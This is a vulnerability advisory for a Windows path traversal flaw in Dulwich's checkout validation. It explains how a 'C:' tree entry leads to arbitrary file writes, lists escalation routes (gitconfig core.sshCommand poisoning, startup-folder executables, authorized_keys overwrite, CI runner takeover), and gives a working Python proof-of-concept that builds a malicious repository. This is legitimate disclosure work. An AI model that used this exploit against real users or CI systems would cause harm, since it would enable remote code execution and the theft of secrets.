PT-2026-111189 · Pypi · Dulwich
Publicado
2026-10-02
·
Atualizado
2026-10-02
CVSS v3.1
8.8
Alta
| Vetor | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Affected files
dulwich/index.py(Methods:validate path element ntfs,tree to fs path)dulwich/porcelain/ init .py(Method:checked worktree path)
Description / Summary
A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject
.git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.A malicious Git tree can contain an entry named
C:. When Dulwich processes this tree on a Windows client, the string passes the validate path element ntfs check. Later, tree to fs path passes this path to os.path.join(root, b"C:Users...").On Windows, if the second argument to
os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.While the standard C
git client explicitly blocks this via has dos drive prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.Potential impact
This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.
Attack vectors include:
- Git Config Poisoning (RCE): Writing a malicious
C:Users<victim>.gitconfigfile to setcore.sshCommandto an arbitrary executable, granting RCE the next time the user interacts with Git. - Persistence (RCE): Dropping a malicious executable into
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp. - SSH Key Overwrite: Writing to
C:Users<victim>.sshauthorized keysto compromise remote servers accessible by the victim. - CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
Proof of Concept (PoC)
The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.
python
from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile
repo path = tempfile.mkdtemp()
repo = Repo.init(repo path)
# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter
"
repo.object store.add object(blob)
# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil txt = Tree(); evil txt[b"evil.txt"] = (0o100644, blob.id)
repo.object store.add object(evil txt)
victim dir = Tree(); victim dir[b"victim"] = (0o040000, evil txt.id)
repo.object store.add object(victim dir)
users dir = Tree(); users dir[b"Users"] = (0o040000, victim dir.id)
repo.object store.add object(users dir)
# VULNERABILITY: The "C:" directory bypasses validation
c drive = Tree(); c drive[b"C:"] = (0o040000, users dir.id)
repo.object store.add object(c drive)
commit = Commit()
commit.tree = c drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author time = commit.commit time = 1700000000
commit.author timezone = commit.committer timezone = 0
repo.object store.add object(commit)
repo.refs[b"refs/heads/main"] = commit.id
print(f"Malicious repo created at {repo path}")
print(f"Clone with: dulwich clone {repo path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:Usersvictimevil.txtCorreção
Path traversal
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Dulwich